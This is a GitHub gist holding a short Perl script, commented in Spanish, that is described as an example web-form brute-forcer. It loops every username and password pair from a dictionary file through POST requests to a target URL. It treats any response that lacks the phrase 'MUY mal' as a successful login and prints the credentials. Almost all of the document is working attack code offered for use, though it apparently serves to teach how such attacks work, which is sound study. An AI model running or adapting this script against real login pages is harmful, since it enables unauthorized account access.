Skip to content

Instantly share code, notes, and snippets.

@durbon
Created May 29, 2012 13:48
Show Gist options
  • Save durbon/2828472 to your computer and use it in GitHub Desktop.
Save durbon/2828472 to your computer and use it in GitHub Desktop.
perl script de ejemplo para hacer un ataque de fuerza bruta
# Ejemplo de 'brute-forcer' para formularios web
# Yago Jesus @YJesus
use LWP::UserAgent;
use strict ;
#Si no hay al menos un argumento, mostramos la ayuda
if ($#ARGV < 0) {
print "Usage:\n";
print "perl brutter.pl URL\n";
exit();
}
my $urltohack = @ARGV[0];
#Abrimos el contenido del diccionario
open (FILE,"diccionario.txt") || die "No puedo abrir el fichero diccionario: $!";
#Pasamos el contenido del fichero a memoria, OJO diccionarios muy grandes y poca memoria RAM
my @diccionario = <FILE> ;
#Instanciamos un LWP para navegar
my $ua = new LWP::UserAgent;
#Fijamos la URL objetivo y seleccionamos el metodo POST
my $req = new HTTP::Request 'POST',$urltohack;
foreach(@diccionario) {
my $usuario = $_ ;
chomp($usuario) ;
foreach(@diccionario) {
my $password = $_ ;
chomp($password) ;
#Construimos las cabeceras
$req->content_type('application/x-www-form-urlencoded');
#Fijamos login / pass
$req->content("&username=$usuario&password=$password&Submit=Enviar+consulta");
#hacemos la peticion
my $res = $ua->request($req);
#obtenemos la respuesta del servidor y la almacenamos en una variable
my $respuesta = $res->as_string;
#print "$respuesta\n" ;
#Buscamos en la respuesta la frase "MUY mal" que ya sabemos indica una auth fallida
if ( $respuesta !~ /MUY mal/) {
#Si no está asumimos que hemos encontrado el usuario y contraseña
print "Enhorabuena ! usuario--> $usuario password --> $password\n" ;
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment